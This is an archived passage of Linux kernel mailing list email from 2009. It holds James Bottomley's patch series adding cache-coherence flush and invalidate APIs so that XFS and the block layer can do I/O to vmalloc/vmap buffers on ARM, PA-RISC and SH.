Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 09 17:53:01 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlPTg-0002yh-Cu
	for glka-linux-arch@lo.gmane.org; Wed, 09 Sep 2009 17:53:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753167AbZIIPwo (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 9 Sep 2009 11:52:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753105AbZIIPwm
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 9 Sep 2009 11:52:42 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:47992 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753044AbZIIPwh (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 9 Sep 2009 11:52:37 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 3973986445;
	Wed,  9 Sep 2009 17:52:40 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1252511536-22066-6-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4362 gmane.linux.file-systems:35174 gmane.linux.ports.parisc:2137
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2137>

xfs_buf.c includes what is essentially a hand rolled version of
blk_rq_map_kern().  In order to work properly with the vmalloc buffers
that xfs uses, this hand rolled routine must also implement the flushing
API for vmap/vmalloc areas.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/xfs/linux-2.6/xfs_buf.c |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c
index 965df12..62ae977 100644
--- a/fs/xfs/linux-2.6/xfs_buf.c
+++ b/fs/xfs/linux-2.6/xfs_buf.c
@@ -1138,6 +1138,10 @@ xfs_buf_bio_end_io(
 	do {
 		struct page	*page = bvec->bv_page;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			invalidate_kernel_dcache_addr(bp->b_addr +
+						      bvec->bv_offset);
+
 		ASSERT(!PagePrivate(page));
 		if (unlikely(bp->b_error)) {
 			if (bp->b_flags & XBF_READ)
@@ -1202,6 +1206,9 @@ _xfs_buf_ioapply(
 		bio->bi_end_io = xfs_buf_bio_end_io;
 		bio->bi_private = bp;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			flush_kernel_dcache_addr(bp->b_addr);
+
 		bio_add_page(bio, bp->b_pages[0], PAGE_CACHE_SIZE, 0);
 		size = 0;
 
@@ -1228,6 +1235,9 @@ next_chunk:
 		if (nbytes > size)
 			nbytes = size;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			flush_kernel_dcache_addr(bp->b_addr + PAGE_SIZE*map_i);
+
 		rbytes = bio_add_page(bio, bp->b_pages[map_i], nbytes, offset);
 		if (rbytes < nbytes)
 			break;
-- 
1.6.3.3


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH 4/6] sh: add mm API for DMA to vmalloc/vmap areas
Date: Wed,  9 Sep 2009 10:52:14 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1252511536-22066-5-git-send-email-James.Bottomley@suse.de>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-3-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-4-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252511595 4282 80.91.229.12 (9 Sep 2009 15:53:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:53:15 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 09 17:53:07 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlPTl-0002yh-Sg
	for glka-linux-arch@lo.gmane.org; Wed, 09 Sep 2009 17:53:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753183AbZIIPww (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 9 Sep 2009 11:52:52 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753307AbZIIPwu
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 9 Sep 2009 11:52:50 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:47989 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752999AbZIIPwe (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 9 Sep 2009 11:52:34 -0400
Original-Received: from relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 36F5A79727;
	Wed,  9 Sep 2009 17:52:37 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1252511536-22066-4-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4363 gmane.linux.file-systems:35175 gmane.linux.ports.parisc:2138
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2138>

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/sh/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index 4c5462d..db06611 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -48,6 +48,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
 {
 	flush_dcache_page(page);
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	__flush_invalidate_region(addr, PAGE_SIZE);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	__flush_invalidate_region(addr, PAGE_SIZE);
+}
 
 #if defined(CONFIG_CPU_SH4) && !defined(CONFIG_CACHE_OFF)
 extern void copy_to_user_page(struct vm_area_struct *vma,
-- 
1.6.3.3


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH 0/6] fix xfs by making I/O to vmap/vmalloc areas work
Date: Wed,  9 Sep 2009 10:52:10 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252511595 4283 80.91.229.12 (9 Sep 2009 15:53:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:53:15 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 09 17:53:07 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlPTb-0002yh-Go
	for glka-linux-arch@lo.gmane.org; Wed, 09 Sep 2009 17:52:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752724AbZIIPwf (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 9 Sep 2009 11:52:35 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752822AbZIIPwb
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 9 Sep 2009 11:52:31 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:47981 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752261AbZIIPw2 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 9 Sep 2009 11:52:28 -0400
Original-Received: from relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 44B4E79727;
	Wed,  9 Sep 2009 17:52:31 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4364 gmane.linux.file-systems:35176 gmane.linux.ports.parisc:2139
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2139>

Here's version two of the patch set.  It actually compiles on both x86
and parisc.  I could do with someone to test it on arm and sh.

The key test is how xfs behaves.  What I did to recreate the problem
on parisc was simply create an 8GB xfs filesystem, use cp -a to pump
about a GB of data into it from my git trees, then unmount and run
xfs_check.  Before the patches, xfs_check reports the whole fs to be
corrupt.  After the patches it reports everything to be OK.

James

---

 arch/arm/include/asm/cacheflush.h    |   10 ++++++++++
 arch/parisc/include/asm/cacheflush.h |    8 ++++++++
 arch/sh/include/asm/cacheflush.h     |    8 ++++++++
 fs/bio.c                             |   19 +++++++++++++++++--
 fs/xfs/linux-2.6/xfs_buf.c           |   10 ++++++++++
 include/linux/highmem.h              |    6 ++++++
 6 files changed, 59 insertions(+), 2 deletions(-)


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH 3/6] arm: add mm API for DMA to vmalloc/vmap areas
Date: Wed,  9 Sep 2009 10:52:13 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1252511536-22066-4-git-send-email-James.Bottomley@suse.de>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-3-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252511597 4295 80.91.229.12 (9 Sep 2009 15:53:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:53:17 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 09 17:53:09 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlPTi-0002yh-Ju
	for glka-linux-arch@lo.gmane.org; Wed, 09 Sep 2009 17:53:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753103AbZIIPwp (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 9 Sep 2009 11:52:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753056AbZIIPwj
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 9 Sep 2009 11:52:39 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:57687 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752913AbZIIPwd (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 9 Sep 2009 11:52:33 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id C732E74609;
	Wed,  9 Sep 2009 17:52:35 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1252511536-22066-3-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4365 gmane.linux.file-systems:35177 gmane.linux.ports.parisc:2140
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2140>

ARM cannot prevent cache movein, so this patch implements both the
flush and invalidate pieces of the API.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/arm/include/asm/cacheflush.h |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index 1a711ea..1104ee9 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -436,6 +436,16 @@ static inline void flush_kernel_dcache_page(struct page *page)
 	if ((cache_is_vivt() || cache_is_vipt_aliasing()) && !PageHighMem(page))
 		__cpuc_flush_dcache_page(page_address(page));
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+		__cpuc_flush_dcache_page(addr);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+		__cpuc_flush_dcache_page(addr);
+}
 
 #define flush_dcache_mmap_lock(mapping) \
 	spin_lock_irq(&(mapping)->tree_lock)
-- 
1.6.3.3


From - Thu Nov 08 21:04:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH 5/6] block: permit I/O to vmalloc/vmap kernel pages
Date: Wed,  9 Sep 2009 10:52:15 -0500
Lines: 59
Approved: news@gmane.org
Message-ID: <1252511536-22066-6-git-send-email-James.Bottomley@suse.de>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-3-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-4-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-5-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252511597 4297 80.91.229.12 (9 Sep 2009 15:53:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:53:17 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 09 17:53:09 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlPTi-0002yh-20
	for glka-linux-arch@lo.gmane.org; Wed, 09 Sep 2009 17:53:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753203AbZIIPwp (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 9 Sep 2009 11:52:45 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753047AbZIIPwk
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 9 Sep 2009 11:52:40 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:57691 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752815AbZIIPwg (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 9 Sep 2009 11:52:36 -0400
Original-Received: from relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id C5C90749C2;
	Wed,  9 Sep 2009 17:52:38 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1252511536-22066-5-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4366 gmane.linux.file-systems:35178 gmane.linux.ports.parisc:2141
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2141>

This updates bio_map_kern() to check for pages in the vmalloc address
range and call the new kernel flushing APIs if the are.  This should
allow any kernel user to pass a vmalloc/vmap area to block.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/bio.c |   19 +++++++++++++++++--
 1 files changed, 17 insertions(+), 2 deletions(-)

diff --git a/fs/bio.c b/fs/bio.c
index 7673800..ea346b4 100644
--- a/fs/bio.c
+++ b/fs/bio.c
@@ -1120,6 +1120,13 @@ void bio_unmap_user(struct bio *bio)
 
 static void bio_map_kern_endio(struct bio *bio, int err)
 {
+	void *kaddr = bio->bi_private;
+	if (is_vmalloc_addr(kaddr)) {
+		void *addr;
+		for (addr = kaddr; addr < kaddr + bio->bi_size;
+		     addr += PAGE_SIZE)
+			invalidate_kernel_dcache_addr(addr);
+	}
 	bio_put(bio);
 }
 
@@ -1138,9 +1145,12 @@ static struct bio *__bio_map_kern(struct request_queue *q, void *data,
 	if (!bio)
 		return ERR_PTR(-ENOMEM);
 
+	bio->bi_private = data;
+
 	offset = offset_in_page(kaddr);
 	for (i = 0; i < nr_pages; i++) {
 		unsigned int bytes = PAGE_SIZE - offset;
+		struct page *page;
 
 		if (len <= 0)
 			break;
@@ -1148,8 +1158,13 @@ static struct bio *__bio_map_kern(struct request_queue *q, void *data,
 		if (bytes > len)
 			bytes = len;
 
-		if (bio_add_pc_page(q, bio, virt_to_page(data), bytes,
-				    offset) < bytes)
+		if (is_vmalloc_addr(data)) {
+			flush_kernel_dcache_addr(data);
+			page = vmalloc_to_page(data);
+		} else
+			page = virt_to_page(data);
+
+		if (bio_add_pc_page(q, bio, page, bytes, offset) < bytes)
 			break;
 
 		data += bytes;
-- 
1.6.3.3


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.file-systems,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 2/6] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Wed,  9 Sep 2009 10:52:12 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <1252511536-22066-3-git-send-email-James.Bottomley@suse.de>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
 <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252511603 4323 80.91.229.12 (9 Sep 2009 15:53:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:53:23 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-fsdevel-owner@vger.kernel.org Wed Sep 09 17:53:15 2009
Return-path: <linux-fsdevel-owner@vger.kernel.org>
Envelope-to: lnx-linux-fsdevel@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlPTj-0002yh-5S
	for lnx-linux-fsdevel@lo.gmane.org; Wed, 09 Sep 2009 17:53:03 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753249AbZIIPwq (ORCPT <rfc822;lnx-linux-fsdevel@m.gmane.org>);
	Wed, 9 Sep 2009 11:52:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753043AbZIIPwh
	(ORCPT <rfc822;linux-fsdevel-outgoing>);
	Wed, 9 Sep 2009 11:52:37 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:57683 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752489AbZIIPwb (ORCPT <rfc822;linux-fsdevel@vger.kernel.org>);
	Wed, 9 Sep 2009 11:52:31 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 6CD61457F0;
	Wed,  9 Sep 2009 17:52:34 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-fsdevel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-fsdevel.vger.kernel.org>
X-Mailing-List: linux-fsdevel@vger.kernel.org
Xref: news.gmane.org gmane.linux.file-systems:35179 gmane.linux.kernel.cross-arch:4367 gmane.linux.ports.parisc:2142
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2142>

We already have an API to flush a kernel page along an alias
address, so use it.  The TLB purge prevents the CPU from doing
speculative moveins on the flushed address, so we don't need to
implement and invalidate.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/parisc/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7243951..2536a00 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -90,6 +90,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
 {
 	flush_kernel_dcache_page_addr(page_address(page));
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	flush_kernel_dcache_page_addr(addr);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	/* nop .. the flush prevents move in until the page is touched */
+}
 
 #ifdef CONFIG_DEBUG_RODATA
 void mark_rodata_ro(void);
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH 1/6] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Wed,  9 Sep 2009 10:52:11 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1252511536-22066-2-git-send-email-James.Bottomley@suse.de>
References: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1252511603 4328 80.91.229.12 (9 Sep 2009 15:53:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Sep 2009 15:53:23 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Sep 09 17:53:16 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MlPTj-0002yh-NO
	for glka-linux-arch@lo.gmane.org; Wed, 09 Sep 2009 17:53:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753255AbZIIPwq (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 9 Sep 2009 11:52:46 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753017AbZIIPwf
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 9 Sep 2009 11:52:35 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:47985 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752817AbZIIPw3 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 9 Sep 2009 11:52:29 -0400
Original-Received: from relay2.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id BB2CD86445;
	Wed,  9 Sep 2009 17:52:32 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1252511536-22066-1-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4368 gmane.linux.file-systems:35180 gmane.linux.ports.parisc:2143
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2143>

On Virtually Indexed architectures (which don't do automatic alias
resolution in their caches), we have to flush via the correct
virtual address to prepare pages for DMA.  On some architectures
(like arm) we cannot prevent the CPU from doing data movein along
the alias (and thus giving stale read data), so we not only have to
introduce a flush API to push dirty cache lines out, but also an invalidate
API to kill inconsistent cache lines that may have moved in before
DMA changed the data

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 include/linux/highmem.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/include/linux/highmem.h b/include/linux/highmem.h
index 211ff44..eb99c70 100644
--- a/include/linux/highmem.h
+++ b/include/linux/highmem.h
@@ -17,6 +17,12 @@ static inline void flush_anon_page(struct vm_area_struct *vma, struct page *page
 static inline void flush_kernel_dcache_page(struct page *page)
 {
 }
+static inline void flush_kernel_dcache_addr(void *vaddr)
+{
+}
+static inline void invalidate_kernel_dcache_addr(void *vaddr)
+{
+}
 #endif
 
 #include <asm/kmap_types.h>
-- 
1.6.3.3


From - Thu Nov 08 21:04:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.file-systems
Subject: Re: [PATCH 6/6] xfs: fix xfs to work with Virtually Indexed
	architectures
Date: Wed, 9 Sep 2009 13:55:41 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20090909175541.GA9766@infradead.org>
